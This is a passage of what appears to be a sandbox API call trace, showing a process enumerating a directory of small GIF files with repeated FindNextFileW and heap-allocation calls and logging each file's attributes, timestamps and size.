nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15274_.GIF", cAlternateFileName="")) returned 1 [0073.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.904] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7364b00, ftCreationTime.dwHighDateTime=0x1bd4f3f, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc7364b00, ftLastWriteTime.dwHighDateTime=0x1bd4f3f, nFileSizeHigh=0x0, nFileSizeLow=0x3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15275_.GIF", cAlternateFileName="")) returned 1 [0073.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.904] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3a2c400, ftCreationTime.dwHighDateTime=0x1bd4f3f, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc3a2c400, ftLastWriteTime.dwHighDateTime=0x1bd4f3f, nFileSizeHigh=0x0, nFileSizeLow=0x49, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15276_.GIF", cAlternateFileName="")) returned 1 [0073.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.904] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2719700, ftCreationTime.dwHighDateTime=0x1bd4f3f, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc2719700, ftLastWriteTime.dwHighDateTime=0x1bd4f3f, nFileSizeHigh=0x0, nFileSizeLow=0x3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15277_.GIF", cAlternateFileName="")) returned 1 [0073.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.904] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42390f00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd0a560, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x42390f00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21294_.GIF", cAlternateFileName="")) returned 1 [0073.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.904] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436a3c00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd0a560, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x436a3c00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21295_.GIF", cAlternateFileName="")) returned 1 [0073.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.904] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45cc9600, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd0a560, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x45cc9600, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x94, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21296_.GIF", cAlternateFileName="")) returned 1 [0073.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.904] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x449b6900, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd0a560, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x449b6900, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21297_.GIF", cAlternateFileName="")) returned 1 [0073.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.904] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a914a00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd0a560, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4a914a00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21298_.GIF", cAlternateFileName="")) returned 1 [0073.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.904] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49601d00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd0a560, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x49601d00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21299_.GIF", cAlternateFileName="")) returned 1 [0073.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.904] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x482ef000, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x482ef000, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21300_.GIF", cAlternateFileName="")) returned 1 [0073.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.904] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51b85800, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51b85800, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21301_.GIF", cAlternateFileName="")) returned 1 [0073.904] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50872b00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50872b00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x11d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21302_.GIF", cAlternateFileName="")) returned 1 [0073.905] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4cf3a400, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4cf3a400, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21304_.GIF", cAlternateFileName="")) returned 1 [0073.905] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bc27700, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4bc27700, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21306_.GIF", cAlternateFileName="")) returned 1 [0073.905] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4107e200, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4107e200, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x3d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21308_.GIF", cAlternateFileName="")) returned 1 [0073.905] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea58800, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3ea58800, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x3d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21310_.GIF", cAlternateFileName="")) returned 1 [0073.905] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c432e00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3c432e00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21312_.GIF", cAlternateFileName="")) returned 1 [0073.905] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38afa700, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x38afa700, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x45, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21314_.GIF", cAlternateFileName="")) returned 1 [0073.905] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33eaf300, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x33eaf300, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x113, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21316_.GIF", cAlternateFileName="")) returned 1 [0073.905] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cc3e500, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2cc3e500, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21327_.GIF", cAlternateFileName="")) returned 1 [0073.905] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29305e00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29305e00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x131, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21329_.GIF", cAlternateFileName="")) returned 1 [0073.905] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x259cd700, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x259cd700, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21331_.GIF", cAlternateFileName="")) returned 1 [0073.905] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20d82300, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x20d82300, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21333_.GIF", cAlternateFileName="")) returned 1 [0073.905] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d449c00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1d449c00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x3cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21335_.GIF", cAlternateFileName="")) returned 1 [0073.905] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c136f00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1c136f00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21337_.GIF", cAlternateFileName="")) returned 1 [0073.905] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19b11500, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x19b11500, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21339_.GIF", cAlternateFileName="")) returned 1 [0073.905] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d01a600, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbce14f00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8d01a600, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x10a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21342_.GIF", cAlternateFileName="")) returned 1 [0073.905] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d01a600, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbce14f00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8d01a600, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21343_.GIF", cAlternateFileName="")) returned 1 [0073.905] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32d300, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8e32d300, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21344_.GIF", cAlternateFileName="")) returned 1 [0073.905] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52007200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x52007200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21364_.GIF", cAlternateFileName="")) returned 1 [0073.905] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52007200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x52007200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21365_.GIF", cAlternateFileName="")) returned 1 [0073.905] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52007200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x52007200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21366_.GIF", cAlternateFileName="")) returned 1 [0073.905] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88d68800, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce611c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x88d68800, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21375_.GIF", cAlternateFileName="")) returned 1 [0073.906] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a07b500, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce611c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8a07b500, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21376_.GIF", cAlternateFileName="")) returned 1 [0073.906] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a07b500, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce611c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8a07b500, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21377_.GIF", cAlternateFileName="")) returned 1 [0073.906] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb28faf00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce611c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb28faf00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21398_.GIF", cAlternateFileName="")) returned 1 [0073.906] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c0dc00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce611c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb3c0dc00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21399_.GIF", cAlternateFileName="")) returned 1 [0073.906] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c0dc00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb3c0dc00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21400_.GIF", cAlternateFileName="")) returned 1 [0073.906] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6b100, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac6b100, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x11f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21421_.GIF", cAlternateFileName="")) returned 1 [0073.906] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6b100, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac6b100, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21422_.GIF", cAlternateFileName="")) returned 1 [0073.906] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf7de00, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbf7de00, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21423_.GIF", cAlternateFileName="")) returned 1 [0073.906] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91c65a00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x91c65a00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21433_.GIF", cAlternateFileName="")) returned 1 [0073.906] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91c65a00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbcead480, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x91c65a00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21434_.GIF", cAlternateFileName="")) returned 1 [0073.906] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f78700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbcead480, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x92f78700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21435_.GIF", cAlternateFileName="")) returned 1 [0073.906] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5593f900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcead480, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5593f900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21480_.GIF", cAlternateFileName="")) returned 1 [0073.906] FindNextFileW (in: hFindFile=0x2e9140, 